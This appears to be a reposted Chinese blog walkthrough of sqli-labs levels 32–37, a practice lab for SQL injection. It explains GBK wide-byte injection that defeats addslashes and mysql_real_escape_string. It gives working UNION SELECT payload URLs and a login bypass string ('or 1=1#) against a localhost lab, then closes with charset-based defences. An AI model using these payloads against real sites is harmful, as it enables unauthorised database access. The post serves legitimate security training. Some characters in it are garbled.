我是靠谱客的博主 个性樱桃,最近开发中收集的这篇文章主要介绍sqli-labs-less-32~37,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

我们先介绍下宽字节注入
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思
路是将 ‘ 转换为 ’

Less-32

http://127.0.0.1/sqli-labs-master/Less-32/?id=1'

在这里插入图片描述
会发现对进行了过滤

http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df'union select 1,user(),3--+

在这里插入图片描述
%df 吃掉 具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形
成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此
事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

部分源码
在这里插入图片描述

Less-33

从源码中我们可以看到,使用了addslashes()函数,其功能就是返回在预定义字符之前添加反斜杠的字符串
预定义字符是:
 单引号(’)
 双引号(")
 反斜杠()
在这里插入图片描述
该函数功能与less-32中实现的功能基本一致,参考less-32

Less-34

这一关是POST型的注入,将UTF-8转换为UTF-16或者UTF-32,例如将’转换为utf-16为: �’。我们可以利用这一点注入。

username: �'or 1=1#

passwor:随意

在这里插入图片描述
观察源码

@$sql="SELECT username, password FROM users WHERE username='$uname'
and password='$passwd' LIMIT 0,1";

构造后

SELECT username, password FROM users WHERE username='� ' or 1=1#' and
password='$passwd' LIMIT 0,1

less-35

直接注入

http://127.0.0.1/sqli-labs-master/Less-35/?id=-1%20union%20select%201,user(),3--+

在这里插入图片描述

less-36

查看源码我们可以知道

check_quotes()函数是利用了 mysql_real_escape_string()函数进行的过滤

过滤的字符有:

x00     n     r         '     ''      x1a

我们开始注入

 http://127.0.0.1/sqli-labs-master/Less-36/?id=-1%BD%27union%20select%201,user(),3--+

在这里插入图片描述

Less-37

与34题注入方法一样

总结

过滤 ‘ 常用的三种方式是直接 replace,
addslashes(),mysql_real_escape_string()。三种方式仅仅依靠一个函数是不能完全防御的,所以我们在编写代码的时候需要考虑的更加仔细。下面给出几种防御的方式
1、在使用 mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将 mysql 设置为gbk 即可。设置代码:Mysql_set_charset(‘gbk’,’$conn’)
2、使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。

 Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);

最后

以上就是个性樱桃为你收集整理的sqli-labs-less-32~37的全部内容,希望文章能够帮你解决sqli-labs-less-32~37所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(60)

评论列表共有 0 条评论

立即
投稿
返回
顶部